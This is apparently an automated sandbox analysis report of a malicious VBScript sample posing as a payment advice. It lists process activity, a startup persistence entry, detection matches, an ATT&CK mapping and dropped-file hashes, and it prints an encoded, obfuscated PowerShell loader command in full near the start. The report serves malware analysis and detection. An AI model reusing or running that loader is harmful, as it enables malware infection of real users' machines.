afsaxqbdacaajabxagsazgbjagwababoagoaeaagad0aiaakaemabqbqahaaegb5ahyacabjahmalgbuag8aqqbyahiayqb5acgakqa7afsaqqbyahiayqb5af0aoga6afiazqb2aguacgbzaguakaakafcaawbmagmababsaggaagb4ackaowagacqatwbyahkababnacaapqagafsauwb5ahmadablag0algbbahaacabeag8abqbhagkabgbdadoaogbdahuacgbyaguabgb0aeqabwbtageaaqbuac4atabvageazaaoacqavwbragyaywbsagwaaabqahgakqa7acaajabhagiazwbragyadabxahaaiaa9acaajabpahiaeqbsagcalgbfag4adabyahkauabvagkabgb0adsaiabbafmaeqbzahqazqbtac4arablagwazqbnageadablaf0aoga6aemacgblageadablaeqazqbsaguazwbhahqazqaoafsaqqbjahqaaqbvag4axqasacaajabhagiazwbragyadabxahaalgbeaguaywbsageacgbpag4azwbuahkacablacwaiaakaecaygbnagsazgb0aheacaauae4ayqbtaguakqauaeqaeqbuageabqbpagmasqbuahyabwbraguakaapacaafaagae8adqb0ac0atgb1agwabaa=	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\Value.vbs.exe "c:\users\user\appdata\roaming\value.vbs.exe" -enc jabkag0acgbwahaaywb1agiacgbtag0aiaa9acaawwbtahkacwb0aguabqauaeqaaqbhagcabgbvahmadabpagmacwauafaacgbvagmazqbzahmaxqa6adoarwblahqaqwb1ahiacgblag4adabqahiabwbjaguacwbzacgakqauae0ayqbpag4atqbvagqadqbsagualgbgagkabablae4ayqbtagualgbsaguacabsageaywblacgajwauaguaeablaccalaanaccakqa7acqasabvahmazabjahqaaabsahyadabvacaapqagagcazqb0ac0aywbvag4adablag4adaagacqasgbtahiacabwagmadqbiahiabqbtacaafaagafmazqbsaguaywb0ac0atwbiagoazqbjahqaiaataewayqbzahqaiaaxadsaiaakafcaawbmagmababsaggaagb4acaapqagafsauwb5ahmadablag0algbdag8abgb2aguacgb0af0aoga6aeyacgbvag0aqgbhahmazqa2adqauwb0ahiaaqbuagcakaakaegabwbzagqaywb0aggabab2ahqabwauafiazqbwagwayqbjaguakaanafiarqbnacaajwasacaajwanackalgbsaguacabsageaywblacgajwbaaccalaagaccaqqanackakqa7acqaqwbnagwayqbraggaegbyacaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauaekatwauae0azqbtag8acgb5afmadabyaguayqbtacgaiaasacaajabxagsazgbjagwababoagoaeaagackaowakaemabqbqahaaegb5ahyacabjahmaiaa9acaatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4asqbpac4atqblag0abwbyahkauwb0ahiazqbhag0aowakafuabgb0agkacabmacaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauaekatwauaemabwbtahaacgblahmacwbpag8abgauaecaegbpahaauwb0ahiazqbhag0aiaakaemazwbsageaawboahoacgasacaakabbaekatwauaemabwbtahaacgblahmacwbpag8abgauaemabwbtahaacgblahmacwbpag8abgbnag8azablaf0aoga6aeqazqbjag8abqbwahiazqbzahmakqa7acqavqbuahqaaqbwagyalgbdag8acab5afqabwaoacaajabdag0aagbwahoaeqb2ahaaywbzacaakqa7acqavqbuahqaaqbwagyalgbdagwabwbzaguakaapadsajabdagcababhagsaaab6ahialgbdagwabwbzaguakaapadsawwbiahkadablafsaxqbdacaajabxagsazgbjagwababoagoaeaagad0aiaakaemabqbqahaaegb5ahyacabjahmalgbuag8aqqbyahiayqb5acgakqa7afsaqqbyahiayqb5af0aoga6afiazqb2aguacgbzaguakaakafcaawbmagmababsaggaagb4ackaowagacqatwbyahkababnacaapqagafsauwb5ahmadablag0algbbahaacabeag8abqbhagkabgbdadoaogbdahuacgbyaguabgb0aeqabwbtageaaqbuac4atabvageazaaoacqavwbragyaywbsagwaaabqahgakqa7acaajabhagiazwbragyadabxahaaiaa9acaajabpahiaeqbsagcalgbfag4adabyahkauabvagkabgb0adsaiabbafmaeqbzahqazqbtac4arablagwazqbnageadablaf0aoga6aemacgblageadablaeqazqbsaguazwbhahqazqaoafsaqqbjahqaaqbvag4axqasacaajabhagiazwbragyadabxahaalgbeaguaywbsageacgbpag4azwbuahkacablacwaiaakaecaygbnagsazgb0aheacaauae4ayqbtaguakqauaeqaeqbuageabqbpagmasqbuahyabwbraguakaapacaafaagae8adqb0ac0atgb1agwabaa=	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: GetLocaleInfoA,

14_2_00403CB4

Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Value.vbs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 14_2_004057D8 GetLocalTime,

14_2_004057D8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 14_2_00403D7D GetCommandLineA,GetVersion,GetVersion,GetThreadLocale,GetThreadLocale,GetCurrentThreadId,

14_2_00403D7D

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Neshta

Source: Yara match	File source: 14.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2290271813.00000000069BF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5332, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	121 Scripting	Valid Accounts	11 Windows Management Instrumentation	121 Scripting	211 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	31 Virtualization/Sandbox Evasion	Security Account Manager	11 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	211 Process Injection	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	4 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	25 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PaymentAdvice-1629043.vbs	8%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\Value.vbs.exe	0%	ReversingLabs
C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe	0%	ReversingLabs

Name	Source	Malicious	Reputation
http://nuget.org/NuGet.exe	PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.0000000005B0B000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000603A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/mgravell/protobuf-neti	PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2159795310.000000000A110000.00000004.08000000.00040000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.00000000061EF000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000617F000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000671F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://stackoverflow.com/q/14436606/23354	PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2098406061.0000000004DCA000.00000004.00000800.00020000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2159795310.000000000A110000.00000004.08000000.00040000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.00000000061EF000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000617F000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000671F000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2264092099.00000000052FA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/mgravell/protobuf-netJ	PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2159795310.000000000A110000.00000004.08000000.00040000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.00000000061EF000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000617F000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000671F000.00000004.00000800.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	Value.vbs.exe, 0000000C.00000002.2264092099.0000000005122000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/pscore6lB	PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2098406061.0000000004AA1000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2264092099.0000000004FD1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.microsoft	Value.vbs.exe, 0000000C.00000002.2260798055.00000000033FA000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	Value.vbs.exe, 0000000C.00000002.2264092099.0000000005122000.00000004.00000800.00020000.00000000.sdmp	false	high
https://stackoverflow.com/q/11564914/23354;	PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2159795310.000000000A110000.00000004.08000000.00040000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.00000000061EF000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000617F000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000671F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://stackoverflow.com/q/2152978/23354	PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2159795310.000000000A110000.00000004.08000000.00040000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.00000000061EF000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000617F000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000671F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/	Value.vbs.exe, 0000000C.00000002.2290271813.000000000603A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.0000000005B0B000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000603A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/License	Value.vbs.exe, 0000000C.00000002.2290271813.000000000603A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	Value.vbs.exe, 0000000C.00000002.2290271813.000000000603A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/mgravell/protobuf-net	PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2159795310.000000000A110000.00000004.08000000.00040000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp, PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2121979696.00000000061EF000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000617F000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2290271813.000000000671F000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	PaymentAdvice-1629043.vbs.exe, 00000004.00000002.2098406061.0000000004AA1000.00000004.00000800.00020000.00000000.sdmp, Value.vbs.exe, 0000000C.00000002.2264092099.0000000004FD1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/Pester/Pester	Value.vbs.exe, 0000000C.00000002.2264092099.0000000005122000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1568248
Start date and time:	2024-12-04 13:38:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PaymentAdvice-1629043.vbs
Detection:	MAL
Classification:	mal100.spre.bank.expl.evad.winVBS@19/11@0/0
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 94% Number of executed functions: 365 Number of non-executed functions: 25
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target PaymentAdvice-1629043.vbs.exe, PID 6076 because it is empty
Execution Graph export aborted for target Value.vbs.exe, PID 5232 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: PaymentAdvice-1629043.vbs

Simulations

Behavior and APIs

Time	Type	Description
07:39:04	API Interceptor	15x Sleep call for process: PaymentAdvice-1629043.vbs.exe modified
07:39:20	API Interceptor	18x Sleep call for process: Value.vbs.exe modified
13:39:06	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Value.vbs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\Value.vbs.exe	FileCopy.vbs	Get hash	malicious	Unknown	Browse
	Pyyidau.vbs	Get hash	malicious	NetSupport RAT	Browse
	Pyyidau.vbs	Get hash	malicious	NetSupport RAT	Browse
	GRAINS.vbs	Get hash	malicious	AgentTesla	Browse
	PRODUCT-PICTURE.bat	Get hash	malicious	AgentTesla	Browse
	Fattura-24SC-99245969925904728562.vbs	Get hash	malicious	Discord Token Stealer	Browse
	ilZhNx3JAc.bat	Get hash	malicious	AgentTesla	Browse
	87M9Y3P4Z7.bat	Get hash	malicious	AgentTesla	Browse
	ip4.cmd	Get hash	malicious	Unknown	Browse
	https://mariculturasalinas.com/za/zap/enter.php	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\3582-490\InstallUtil.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	data
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	6.311859636562069
Encrypted:	false
SSDEEP:	384:oyLK0MsihB9VKS7xdgl6KJ9Yl6dnPU3SERztmbqCJstdMardz/JikPZ+RPZT3TWX:BMs2SqdSZ6Iq8BxTfqWR8h7ukP
MD5:	7FE6FB5408992330ADA9CD81BE35C33B
SHA1:	2F732EA754FA43DEA05FDAD5C821F008A92935E2
SHA-256:	8B53F3559183D6206E2573A0C3813141CAD7621EE93A5241C622CF7C664D9AEE
SHA-512:	630CD455C5C4367E7D4A423D78B69E8F8CA02AA16B2AF65D7357420511A692B233C04DC5D8AAAFE3EB477B57A37A3ED0EE5B807A66C6FBAA223AC0ABD22176EC
Malicious:	false
Preview:	...%......s`p........y.b.u.4..q.es.kF...p'^.0sU7...dl...1_!S......>a.:.N.,S..Pg}.}b..V.Wo.:dL..tc.@axmf..?.d...s....6.....~...@"...x&...z.j...'.x..p\|.2yLY..0[....)...{..w....Dxb.1a@...:.r..&....@hI.qK.'....8.l.2......D.a.W.;\.,h.%u..Y.=..JV.Y.......~.(...T.....0..\|{K>..".g.,...aLB>....c.../...5......c...l4.I......M.a....p...?[....k.}.,....E.....{33...v..8...=.i......x..N4F...;.&..&....V..\|\....e..+z.~1k.,.~W7.Y....P.Z.u}\}...?......:.....p...."q....z....l..gW...h..HE`w.$.3...q..$?..6./?........b.v...+r..t1..T.h}.V%..O...%-.R.S.,..L(.]..-..O%.O........7..CP;.a}.!~......H...l.6]..M.9...S.....b....3.....l....."..k..=U.....g.Y.2k.._?'..o..!....xUTX\|g.....7_...?.Y......i.1.dvd...x.)......[...;.^..7.u.Mz....=......R.]vY...d.$.oec...Q..v..!..R6<.[J.(....,`.%.H .oj1._..._.Y....Bgr.P....jt..0_{f..-.1.Lf.....j........V...zd.}.Q..Qy...zU...6....&`.E"..'.......R:.....>_^..$..T.,.Jd...$.}]d'-...bx(`..!^xG.....6.w....T..4.&..]..Yv<a.y....u...O.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3l1v5hpf.sxo.ps1

Download File

Process:	C:\Users\user\AppData\Roaming\Value.vbs.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ft3me0zk.5wi.psm1

Download File

Process:	C:\Users\user\AppData\Roaming\Value.vbs.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t5vyqr4d.lsd.ps1

Download File

Process:	C:\Users\user\Desktop\PaymentAdvice-1629043.vbs.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
